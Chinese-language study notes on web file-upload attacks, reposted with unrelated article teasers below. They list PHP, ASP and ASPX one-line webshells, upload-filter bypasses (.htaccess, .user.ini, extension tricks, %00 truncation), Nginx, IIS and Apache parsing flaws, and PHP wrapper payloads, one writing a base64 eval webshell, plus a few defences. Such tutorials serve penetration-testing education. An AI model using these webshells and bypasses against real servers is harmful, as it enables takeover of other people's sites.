文件上传笔记整理

  • 文件上传

    • web渗透的核心,内网渗透的基础
    • 通过上传webshell文件到对方的服务器来获得对方服务器的控制权
  • 成功条件

    • 文件成功上传到对方的服务器(躲过杀软)
    • 知道文件上传的具体路径
    • 上传的文件可以执行成功
  • 文件上传的流程

    • 前端JS对上传文件进行检测(文件类型)
    • 服务器端MIME类型(文件类型)检测
    • 服务器端目录路径检测
    • 服务器端文件扩展名检测
    • 服务器端文件内容检测
  • 常用的一句话木马

    • php
      • <?php @eval($_GET['cmd']);?>
      • <?php @eval($_POST['cmd']);?>
      • <?php @eval($_REQUEST['cmd']);?>
    • asp
      • <% eval request('cmd') %>
    • aspx
      • <%@ page Language ="Jscript" %><% eval (Request.Item["pass"],"unsafe");%>
  • 文件上传的几种情况

    • 前端JS绕过(验证文件后缀)
      • 浏览器设置禁用JS代码(不执行检测代码)
      • 正常文件上传,BP抓包修改文件后缀
      • F12检查页面代码,删除/修改检测函数(火狐支持,谷歌有代码保护)
      • F12检查页面代码,替换JS文件(检查窗口不能关闭)
    • 后端MIME类型绕过(验证MIME类型)
      • BP抓包后通过MIME类型爆破得到通过的MIME类型,后缀名修改
    • 后端文件后缀名验证+文件内容验证
      • 黑名单验证
        • 尝试对文件后缀名进行爆破(所有可执行的后缀名)
        • 如果对方是Apache服务器,可以尝试上传.htaccess文件,设置该文件夹下的文件都进行php解析(对方不过滤.htaccess文件且不修改文件名称时用)
          • <FilesMatch "1.jpg">SetHandler application/x-httpd-php</FilesMatch> (指定文件1.jpg用php解析)
          • SetHandler application/x-httpd-php (当前目录下所有文件都通过php解析)
        • user.ini文件绕过
          • .user.ini所在目录中的所有php文件解析时都包含1.php;相当于加上了include(./1.png);文件具体路径可以自己设置
          • auto_prepend_file=1.png;开头被包含
          • auto_append_file=1.png; 结尾被包含
        • 大小写绕过 .Php .pHp .PhP等
        • 空格绕过 .php ,
        • .绕过 .php.
        • ..绕过 .php.. .php......等
        • /绕过
        • ::$DATA绕过 .php::$DATA
        • 循环验证绕过.pphphp .phtmlhp等
        • unicode编码绕过
        • url编码绕过
      • 白名单验证
        • 路径绕过
          • 文件路径可以操作
            • POST hex下修改00绕过
            • GET %00绕过
          • 对文件路径无验证
        • 文件内容验证
          • 添加图片文件头绕过
          • 二次循环验证(针对文件内容被修改了)
        • 竞争上传(针对先保留再删除的验证逻辑)
        • 逻辑漏洞(代码审计出的逻辑上的漏洞)
          • 通过功能实现逻辑存在漏洞;需要代码审计
      • 解析漏洞(服务器对某些特殊文件按脚本格式处理而产生的漏洞)
        • Nginx
          • 空字节代码执行漏洞(<8.03版本)( 0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37)
            • xxx.jpg%00.php
          • cgi.fix_pathinfo问题
            • 解释:例如/info.jpg/1.php/2.zhide
              • 先找/info.jpg/1.php/2.zhide文件;没找到则把/info.jpg/1.php作为文件查找;找到则用/inifo.jpg/1.php作为/info.jpg/1.php/2.zhide执行;还没找到则依次类推
            • 绕过方法(通过上传图片马;在图片的url路径结尾加上/1.php即可解析图片马)
              • /1.jpg/1.php
              • /1.jpg%00.php
              • /1.jpg/%20\0.php
          • 解决方式:
            • 设置php.ini中的 cgi.fix_pathinfo=0;
            • 禁止上传目录的执行脚本权限
            • 库站分离
            • 高版本设置security.limit_extensions = .php;限制php文件执行
        • IIS
          • IIS5.x~IIS6.x
            • /xx.asp/xx.jpg
            • xx.asp;.jpg
            • test.asa/ test.cer/ test.cdx/
            • 升级版本,更新补丁
          • IIS7.x
            • 任何文件后面加上/.php就会以php进行解析;直接在url中加就行
            • 可以实现对图片马的直接执行
            • 解决方法:设置php.ini中cgi.fix_pathinfo=0;并重启php-cgi程序
        • Apache
          • 2.4.0~2.4.29
            • $可以匹配\n \r等字符;(换行解析漏洞)

            • php%0a绕过;会当成php进行解析
            • php\x0A绕过;同上
            • 升级apache版本即可避免这个问题
          • 允许多个后缀且从右往左识别后缀名(多个后缀识别解析漏洞)
            • test.php.php123 (从右往左进行判断解析)
          • Add Handler解析漏洞
            • 如果用户手动设置了.php文件的解析
              • AddHandler php5-script .php
                • test2.php.jpg绕过;后缀存在php就用php进行解析
              • AddType application/x-httpd-php .jpg (即使扩展名是jpg也一样用php解析)
                • 设置的所有后缀都会以php解析
            • 解决方法:默认不手动设置php解析操作
  • 文件包含

    • 本地包含
      • 普通的文件包含;地址为本地地址
    • 远程包含
      • 文件地址为url远程文件地址
    • php伪协议
      • allow_url_fopen默认开启 allow_url_include默认关闭
        • 常用的伪协议示例

      • file:// +文件的绝对路径
        • 使用本地的绝对路径
      • php://
        • 常用
          • php://filter/read=convert.base64-encode/resource=./index
            • 查看源码
            • 参数格式
              • resoure=<要过滤的数据流> 必须参数,指定筛选过滤的数据流
              • read=<读链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔
              • write=<写链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔<;两个链的筛选列表>
                • filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgZXZhbCgkX0dFVFsnaWQnXSk7Pz4=
                • 打开文件时对内容进行base64解码然后写入
              • 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链
            • 编码类型(过滤器)
          • php://input+POST请求内容(具体内容必须写在POST请求体中)
            • 元数据的只读流;allow_url_include=On时可用
            • 注:当enctype=”multipart/form-data”时,php://input是无效的。
        • php://output
          • 将内容以标准输出的形式写道缓存区
        • php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
      • https/http://+url地址
        • allow_url_include=On;allow_url_open=On;
        • 多用于远程文件包含
      • 压缩流
        • zip://压缩文件绝对路径%23压缩包中文件名
          • 可以直接执行压缩包中的内容
          • %23 #
          • zip://D:\phpstudy_pro\WWW\123.com\text.zip%23text.txt
        • compress.bzip2://[文件绝对路径|文件相对路径]
          • 访问压缩文件中子文件
        • compress.zlib://[文件绝对路径|文件相对路径]
          • 访问压缩文件中子文件
        • phar://[文件绝对路径|文件相对路径]/[子文件名称]
          • 归档;访问压缩文件中的子文件
      • data://text/plain 具体命令
        • allow_url_fopen=On allow_url_include=On
        • data://text/plain;base64,<执行代码的base64编码> | data://text/plain,<执行的代码>
        • 读取文件内容并执行
      • glob://
      • ssh2://
      • rar://
      • ogg://
      • expect://
  • 文件包含防御

    • allow_url_include和allow_url_fopen关闭;
    • 对用户包含的文件进行限制,如白名单、open_basedir;
    • 检查用户输入;
    • 检查变量是否初始化;
    • 关键的过滤在服务器端进行;
  • 文件下载

    • 抓取能下载的文件路径;尝试利用../操作来获取对方未允许下载的文件
    • 一般都设有文件保护
  • 小技巧

    • WINDOWS系统对大小写不敏感,Linux对大小写敏感(可以尝试对网址大小写修改判断对方操作系统)
    • 通过修改登录页面index文件的后缀名判断网站的编程,如.php、.asp、.jsp(能运行表示使用该编程语言)
    • 文件上传绕过步骤(大致思路)
      • 上传正常的图片文件看回显
      • 删除MIME类型看效果
        • 有问题就MIME爆破
        • 没问题再测试后缀
      • 乱码后缀检测对方的验证方式(确认黑名单还是白名单)
        • 黑名单时后缀名爆破
        • 白名单时尝试解析漏洞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/639037.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Sqoop与Kafka的集成:实时数据导入

将Sqoop与Kafka集成是实现实时数据导入和流处理的关键步骤之一。Sqoop用于将数据从关系型数据库导入到Hadoop生态系统中&#xff0c;而Kafka则用于数据流的传输和处理。本文将深入探讨如何使用Sqoop与Kafka集成&#xff0c;提供详细的步骤、示例代码和最佳实践&#xff0c;以确…

【UEFI基础】EDK网络框架(TCP4)

TCP4 TCP4协议说明 相比UDP4&#xff0c;TCP4是一种面向连接的通信协议&#xff0c;因此有更好的可靠性。 TCP4的首部格式如下&#xff1a; 各个参数说明如下&#xff1a; 字段长度&#xff08;bit&#xff09;含义Source Port16源端口&#xff0c;标识哪个应用程序发送。D…

2023年12月青少年机器人技术等级考试(三级)理论综合试卷

2023年12月青少年机器人技术等级考试&#xff08;三级&#xff09;理论综合试卷 单选题 第 1 题 单选题 下列选项中&#xff0c;关于光敏电阻描述正确的是&#xff1f;&#xff08; &#xff09; A. 光敏电阻是由导体材料制作而成 B. 光照射光敏电阻时&#xff0c;光照越强…

Python环境下一维时间序列信号的时频脊线追踪方法

瞬时频率是分析调频信号的一个重要参数&#xff0c;它表示了信号中的特征频率随时间的变化。使用短时傅里叶变换或小波变换获得信号的时频表示TFR后&#xff0c;从TFR中估计信号各分量的瞬时频率&#xff0c;即可获得信号中的特征信息。在TFR中&#xff0c;调频信号的特征分量通…

虚拟机将1.15版本的nginx推送到阿里云镜像仓库

1、docker images 2、docker login --usernamealiyun7279061146 registry.cn-shenzhen.aliyuncs.com 3、docker tag 53f3fd8007f7 registry.cn-shenzhen.aliyuncs.com/zhouwb/zhou:1.15 docker push registry.cn-shenzhen.aliyuncs.com/zhouwb/zhou:1.15

Android OpenGL EGL使用——自定义相机

如果要使用OpenGl来自定义相机&#xff0c;EGL还是需要了解下的。 可能大多数开发者使用过OpengGL但是不知道EGL是什么&#xff1f;EGL的作用是什么&#xff1f;这其实一点都不奇怪&#xff0c;因为Android中的GlSurfaceView已经将EGL环境都给配置好了&#xff0c;你一直在使用…

网络编程Day6

网络聊天室 服务器 #include <myhead.h> #define SER_IP "192.168.125.64" #define SER_PORT 6666 typedef struct Msg {char user[32]; //用户名int type; //1.登录、2.发消息、0.退出char text[1024]; //消息 } msg_t; typedef struct List {stru…

Opencv轮廓检测运用与理解

目录 引入 基本理解 加深理解 ①比如我们可以获取我们的第一个轮廓,只展示第一个轮廓 ②我们还可以用一个矩形把我们的轮廓给框出来 ③计算轮廓的周长和面积 引入 顾名思义,就是把我们图片的轮廓全部都描边出来 也就是我们在日常生活中面部识别的时候会有一个框,那玩意就…

华南理工大学数字信号处理实验实验二源码(薛y老师)

一、实验目的 ▪ 综合运用数字信号处理的理论知识进行信号分析并利用MATLAB作为编程工具进行计算机实现&#xff0c;从而加 深对所学知识的理解&#xff0c;建立概念。 ▪ 掌握数字信号处理的基本概念、基本理论和基本方法。 ▪ 学会用MATLAB对信号进行分析和处理。 ▪ 用F…

PS滤镜插件:Adobe Camera Raw 16 for Mac中文激活版

Adobe Camera Raw是Adobe公司开发的一款用于处理数码相机RAW格式文件的软件插件。它可以在Adobe Photoshop、Adobe Bridge和Adobe Lightroom等软件中使用&#xff0c;用于调整RAW文件的曝光、白平衡、对比度、色彩饱和度、锐化等参数&#xff0c;从而得到更好的图像质量。 软件…

python批量复制图片到execl并指定图片的大小

工作需要需要复制批量图片到execl&#xff0c;并指定大小&#xff0c;这里简单实现一下&#xff0c;使用xlwings库来实现总体来说是比较简单的&#xff0c;这里简单记录一下 import xlwings as xw import os# 创建一个可见的Excel应用程序对象 app xw.App(visibleTrue)# 打开…

idea远程服务调试

1. 配置idea远程服务调试 这里以 idea 新 ui 为例&#xff0c;首先点击上面的 debug 旁边的三个小圆点&#xff0c;然后在弹出的框框中选择 “Edit”&#xff0c;如下图所示。 然后进入到打开的界面后&#xff0c;点击左上角的 “” 进行添加&#xff0c;找到 “Remote JVM De…

XSS漏洞:一道关于DOM型XSS的题目

目录 解法1&#xff1a;SVG标签 DOM树的构建 img标签没有执行成功原因 svg标签执行成功的原因 总结 解法2&#xff1a;details标签 事件触发流程 总结 解法3&#xff1a;Dom-Clobbring 一个简单的例子来了解DOM劫持 toString 解决问题 xss系列往期文章&#xff1a; …

VC++中使用OpenCV进行形状和轮廓检测

VC中使用OpenCV进行形状和轮廓检测 在VC中使用OpenCV进行形状和轮廓检测&#xff0c;轮廓是形状分析以及物体检测和识别的有用工具。如下面的图像中Shapes.png中有三角形、矩形、正方形、圆形等&#xff0c;我们如何去区分不同的形状&#xff0c;并且根据轮廓进行检测呢&#…

初识React,基础(1), 安装react,jsx文件,类组件和函数组件,css样式

第一部分:初识react react: 用于构建用户界面的 JavaScript 库全局安装,win r, 命令: npm install create-react-app -g3. 创建一个react应用, 这里我在vscode 里面创建, 创建之后,运行 create-react-app my-appcd my-app npm start 第二部分: redact 组件定义以及使用 rea…

当 OpenTelemetry 遇上阿里云 Prometheus

作者&#xff1a;逸陵 背景 在云原生可观测蓬勃发展的当下&#xff0c;想必大家对 OpenTelemetry & Prometheus 并不是太陌生。OpenTelemetry 是 CNCF&#xff08;Cloud Native Computing Foundation&#xff09;旗下的开源项目&#xff0c;它的目标是在云原生时代成为应…

【Unity学习笔记】New Input System 部分源码和测试用例补充

转载请注明出处&#xff1a;&#x1f517;https://blog.csdn.net/weixin_44013533/article/details/135630016 作者&#xff1a;CSDN|Ringleader| 主要参考&#xff1a; Unity官方Input System手册与API【Unity学习笔记】Unity TestRunner使用【Unity学习笔记】第十二 New Inp…

MySQL的执行流程

一、MySQL的执行流程 MySQL架构分为Server层、存储引擎&#xff0c;其中Server层又分为连接器、查询缓存、分析器、优化器执行器五个部分。当客户端发送请求后依次需要经过 处理请求、查询缓存、语法解析、查询优化、存储引擎部分。 1. 连接器 负责维持和管理连接&#xff…

【差分数组】【图论】【分类讨论】【整除以2】100213按距离统计房屋对数目

作者推荐 【动态规划】【数学】【C算法】18赛车 本文涉及知识点 差分数组 图论 分类讨论 整除以2 LeetCode100213按距离统计房屋对数目 给你三个 正整数 n 、x 和 y 。 在城市中&#xff0c;存在编号从 1 到 n 的房屋&#xff0c;由 n 条街道相连。对所有 1 < i < n…